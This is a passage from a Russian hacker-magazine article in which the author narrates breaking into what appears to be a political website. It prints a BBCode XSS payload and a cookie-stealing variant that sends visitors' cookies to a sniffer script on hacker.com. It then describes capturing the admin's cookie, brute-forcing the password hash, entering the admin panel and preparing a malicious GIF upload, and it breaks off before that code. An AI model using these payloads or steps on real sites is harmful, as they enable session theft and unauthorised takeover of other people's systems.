Государство в позе

l1s(l1s@list.ru)

Хакер, номер #086, стр. 086-080-2

[color=red" style=background-image:url( javascript:alert("XSS"));] Test! [/color]

Нетрудно добить эксплойт до такого уровня, чтобы снифер, который установлен на сайте хакера, перехватывал "печенья" тех, кто смотрит его злобный пост. Окончательным эксплойтом являлась вот такая несложная структура:

[color=red" style=background-image:url( javascript: document.images

[1].src="http://hacker.com/cgi-bin/snifka.cgi?s:"+document.cookie]Hi admin! [/color]

Как видишь, в теле эксплойта прописан линк на снифер (snifka.cgi), который и выполняет за меня основную работу. Теперь мне оставалось только ждать, пока ушастый админ не прочтет мой тестовый пост. Ждать долго не пришлось, и уже вечером мне посыпались первые выловленные куки. А уже к ночи ко мне попала кука админа. То, что это был админ, я сразу понял по его логину (benny). Да, тот самый бенни, который оставил свой мыльник на главной странице сайта :). В плюхах все было стандартно: хэш пароля, логин и т.д. Я слил себе довольно нескромную базу паролей и натравил брутер (тот же PasswordPro) на хэш, кинул в бэкграунд, а сам по-тихому ушел спать.

[welcome to admine-zone]

На следующее утро, выпив кружку кофе, я засел за комп и начал просматривать результаты брута. Результаты меня приятно удивили тем, что брутер в очередной раз спас мою пятую точку и безжалостно плюнул мне расшифрованный пароль. Теперь моя дорога была направлена прямиком в админку. Последовав по ссылке, я попал в зону администрирования. Админ-центр здесь был довольно многофункционален и хорошо продуман. Здесь можно было редактировать новости и разделы сайта, создавать свои голосования, менять различную статистику политических опросов, добавлять новых админов, редактировать инфу зареганным пользователям и др. Но мне было нужно что-то пореальнее, за что бы я мог зацепиться и продолжить свой взлом. И я нашел такую возможность. Еще немного поковыряв админку, я нашел одну довольно часто встречающуюся опцию — аплоад gif-файлов. Админу эта опция нужна была для размещения на сайте различных политических "морд". Далее, открыв обычным блокнотом мою гифку, я дописал такую строку: